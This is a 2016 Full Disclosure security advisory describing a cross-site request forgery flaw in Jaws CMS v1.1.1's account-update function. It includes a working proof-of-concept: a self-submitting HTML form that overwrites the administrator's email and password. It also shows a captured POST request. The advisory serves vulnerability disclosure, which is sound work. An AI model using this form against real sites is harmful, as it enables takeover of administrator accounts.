[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]

[FD] Jaws CMS v1.1.1 - Privilege Escalate CSRF Vulnerability



Document Title:
===============
Jaws CMS v1.1.1 - Privilege Escalate CSRF Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1923


Release Date:
=============
2016-08-22


Vulnerability Laboratory ID (VL-ID):
====================================
1923


Common Vulnerability Scoring System:
====================================
3.3


Product & Service Introduction:
===============================
Jaws is a Framework and Content Management System for building dynamic web 
sites. It aims to be User Friendly giving ease of use 
and lots of ways to customize web sites, but at the same time is Developer 
Friendly, it offers a simple and powerful framework to 
hack your own modules.

(Copy of the Vendor Homepage: http://jaws-project.com )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a client-side cross 
site request forgery vulnerability in the Jaws v1.1.1 content management system.


Vulnerability Disclosure Timeline:
==================================
2016-08-22:     Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Jaws Project
Product: Jaws - Content Management System 1.1.1


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
A cross site request forgery vulnerability has been discovered in the content 
management system Jaws official v1.1.1.
The vulnerability allows to perform malicious client-side web-application 
request to execute non-protected functions 
with own web context.

In the absence of security token, an attacker could execute arbitrary code in 
the administrator's browser to gain 
unauthorized access to the administrator privileges. The vulnerability is 
located in the edituser.php file of the 
./user/account.html module. The request method to execute is POST and the 
attack vector is client-side performed 
by the remote attacker.


Proof of Concept (PoC):
=======================
Cross site request forgery web vulnerability can be exploited by malicious web 
application without privileged user account and without user interaction.
For security demonstration or to reproduce the vulnerability follow the 
provided information and steps below to continue.


PoC: CSRF Exploitation
<html>
<h2>Privilege Escalate CSRF Vulnerability</h2>
<form name="profilebox" action="http://localhost.jaws-project.com/index.php"; 
method="post">
<input type="hidden" name="gadget" value="Users" />
<input type="hidden" name="action" value="UpdateAccount" />
<div class="content">
<input type="hidden" name="email" id="profile_email" value="admin@xxxxxxxxxxx" 
/>
<input type="hidden" name="nickname" id="profile_nickname" 
value="VulnLabsAdministrator" />
<input type="hidden" name="password" id="profile_password" type="password" 
value="1234" />
<input type="hidden" name="password_check" id="profile_chkpasswd" 
type="password" value="1234" />
</div>
<div class="actions"><button type="submit" value="Update Account">Update 
Account</button></div>
<script>document.forms[0].submit()</script>
</form>
</div>
</html>


--- PoC Session Logs [POST]---
Status: 200 [OK]
Host: jaws.localhost:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:48.0) Gecko/20100101 Firefox/48.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: fr,fr-FR;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Referer: http://jaws.localhost:8080/user/account.html
Cookie: JAWSSESSID=2-88361181057b9d4d878d1c6.98434178; VisitCounter=1
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 121
-
POST Method: 
gadget=Users&action=UpdateAccount&email=admin%40evilsource.com&nickname=VulnLabsAdministrator&password=1337&password_check=1337


Reference(s):
http://jaws.localhost:8080/
http://jaws.localhost:8080/user/
http://jaws.localhost:8080/user/account.html


Security Risk:
==============
The security risk of the client-side cross site request forgery issue in the 
web-application is estimated as medium. (CVSS 3.3)


Credits & Authors:
==================
ZwX - ( http://zwx.fr ) [ http://www.vulnerability-lab.com/show.php?user=ZwX ]


Disclaimer & Information:
=========================
The information provided in this advisory is provided as it is without any 
warranty. Vulnerability Lab disclaims all warranties, either expressed 
or implied, including the warranties of merchantability and capability for a 
particular purpose. Vulnerability-Lab or its suppliers are not liable 
in any case of damage, including direct, indirect, incidental, consequential 
loss of business profits or special damages, even if Vulnerability-Lab 
or its suppliers have been advised of the possibility of such damages. Some 
states do not allow the exclusion or limitation of liability mainly for 
consequential or incidental damages so the foregoing limitation may not apply. 
We do not approve or encourage anybody to break any licenses, policies, 
deface websites, hack into databases or trade with stolen data.

Domains:    www.vulnerability-lab.com           - www.vuln-lab.com              
                                - www.evolution-sec.com
Section:    magazine.vulnerability-lab.com      - 
vulnerability-lab.com/contact.php                             - 
evolution-sec.com/contact
Social:     twitter.com/vuln_lab                - facebook.com/VulnerabilityLab 
                                - youtube.com/user/vulnerability0lab
Feeds:      vulnerability-lab.com/rss/rss.php   - 
vulnerability-lab.com/rss/rss_upcoming.php                    - 
vulnerability-lab.com/rss/rss_news.php
Programs:   vulnerability-lab.com/submit.php    - 
vulnerability-lab.com/list-of-bug-bounty-programs.php         - 
vulnerability-lab.com/register.php

Any modified copy or reproduction, including partially usages, of this file, 
resources or information requires authorization from Vulnerability Laboratory. 
Permission to electronically redistribute this alert in its unmodified form is 
granted. All other rights, including the use of other media, are reserved by 
Vulnerability-Lab Research Team or its suppliers. All pictures, texts, 
advisories, source code, videos and other information on this website is 
trademark 
of vulnerability-lab team & the specific authors or managers. To record, list, 
modify, use or edit our material contact (admin@) to get a ask permission.

                                    Copyright © 2016 | Vulnerability Laboratory 
- [Evolution Security GmbH]™




-- 
VULNERABILITY LABORATORY - RESEARCH TEAM
SERVICE: www.vulnerability-lab.com



_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/